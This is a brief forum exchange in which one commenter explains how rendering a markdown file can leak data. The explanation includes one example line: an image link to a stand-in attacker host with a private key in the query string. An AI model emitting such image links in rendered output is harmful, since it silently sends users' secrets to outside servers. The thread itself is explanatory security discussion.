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Comment by oarsinsync

2 days ago

> a markdown file could transmit data when rendered.

This is a new threat vector to me. Can you tell me more?

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adamckay  2 days ago

Your markdown file has an image that links to another server controlled by the attacker and the path/query parameters you're attempting to render contains sensitive data.

    ![](https://the-attacker.com/steal?private-key=abc123def

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